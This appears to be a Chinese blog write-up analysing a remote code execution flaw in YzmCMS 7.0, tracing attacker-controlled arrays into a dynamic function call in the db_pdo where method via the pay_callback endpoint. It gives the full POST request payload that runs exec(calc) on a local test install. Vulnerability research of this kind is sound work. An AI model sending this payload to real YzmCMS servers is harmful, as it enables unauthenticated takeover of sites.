YzmCMS 7.0任意函数调用RCE 漏洞研究分析

YzmCMS是一款基于YZMPHP开发的一套轻量级开源内容管理系统,YzmCMS简洁、安全、开源、免费,可运行在Linux、Windows、MacOSX、Solaris等各种平台上,专注为公司企业、个人站长快速建站提供解决方案。

YzmCMS 某些接口调用了 db_pdo类的where方法 导致了远程命令执行漏洞,未经身份验证的远程攻击者可利用此漏洞执行任意系统指令,写入后门文件,最终可获取服务器权限。

影响版本

<= 7.0

漏洞分析

在db_pdo.class.php文件中,db_pdo存在where的方法。在195行出现了fun(rule)的执行方式

如果fun 与 rule 都为可控参数则会形成"exec(calc)"的危险函数调用漏洞。

分析fun 与 rule 是如何传参的

首先在187行与188行 rule为vv1得到, fun为vv2 得到

向上分析 vv(本身数组) 是数组args中遍历的,经过测试 args其实就是where函数的参数arr赋予的

那么接下来分析谁可以调用db_pdo类的where方法?

....

....

调用where方法有很多,调用的同时考虑参数是否可控,是否传递数组。

。。。

这里根据poc提供一个函数调用的地方

位于pay/controller/index.class.php中的pay_callback方法

php 复制代码
$out_trade_no = $_POST['out_trade_no'];
$order = D('order')->field('id,order_sn,status,userid,username,paytype,money,quantity,`type`,`desc`')->where(array('order_sn' => $out_trade_no))->find();

经过前面的分析,传递的参数的是数组,这里已经符合要求了。我们只需将 $out_trade_no变为数组即可,且out_trade_no2为调用函数out_trade_no1为调用函数参数

根据框架的的控制器一般调用方法,欲想调用pay_callback方法 需构造这样的url "pay/index/pay_callback"

可以先这样访问看看行不行,如果不行在分析代码是否禁用的这种方式,是否有自己定义路由,是否有自己定义前缀,后缀。

漏洞复现

根据前面的分析的我们这样发请求行不行

POST /yzmcms-7.0/pay/index/pay_callback HTTP/1.1

Host: 127.0.0.1

Cookie: ;XDEBUG_SESSION=19079

Content-Type: application/x-www-form-urlencoded

Content-Length: 58

out_trade_no0=&out_trade_no1=calc&out_trade_no2=exec

由于out_trade_no没有0的值 出现了错误。

跟进代码调试一下,

.....

....

其实我们前面忽略了一点,就是out_trade_no0的处理

vv\[0\]需是exp_arr存在的健,根据184行,我们随便找一个键 eq。构造如下payload

POST /yzmcms-7.0/pay/index/pay_callback HTTP/1.1

Host: 127.0.0.1

Cookie: ;XDEBUG_SESSION=19079

Content-Type: application/x-www-form-urlencoded

Content-Length: 60

out_trade_no0=eq&out_trade_no1=calc&out_trade_no2=exec

系统成功的执行了exec(calc)函数,实现了任意函数调用。

相关推荐
@insist1232 小时前
系统架构设计师-基于 GB/T 9387.2 标准的网络安全架构
web安全·架构·系统架构·软考·系统架构设计师·软件水平考试
ylscode2 小时前
HexStrike AI v6.0 深度解析:MCP协议驱动的网络安全自动化框架与红队规避实战
网络·人工智能·安全·安全威胁分析
ylscode3 小时前
ChatGPT新增锁定模式,以缓解提示注入和数据泄露攻击
人工智能·安全·ai·安全威胁分析
博客zhu虎康3 小时前
小程序:UGC自定义发布内容接入微信公众平台内容安全API(imgSecCheck、msgSecCheck、mediaCheckAsync)
安全·小程序·微信公众平台
黎阳之光科技管控3 小时前
纯视觉定位赋能海关口岸 无感通关提升国门安全与效率
算法·安全
vortex53 小时前
CheatMD:让 Markdown 笔记变成可执行的交互式命令
笔记·网络安全·markdown
paul_chen214 小时前
CentOS 8 LVM 在线扩容根分区:从 home 安全割让空间(XFS 文件系统)
linux·安全·centos
国科安芯4 小时前
商业航天级抗辐照全双工RS-485/RS-422收发器ASM491S2Y的技术特性与应用研究
运维·网络·单片机·嵌入式硬件·安全·架构·安全性测试
txg6664 小时前
网络安全领域简报(2026年5月31日—6月7日)
安全·web安全·网络安全
huipeng9264 小时前
企业级微服务开发实战(三):公共模块设计与统一规范封装
java·spring boot·spring cloud·微服务·架构·系统架构·php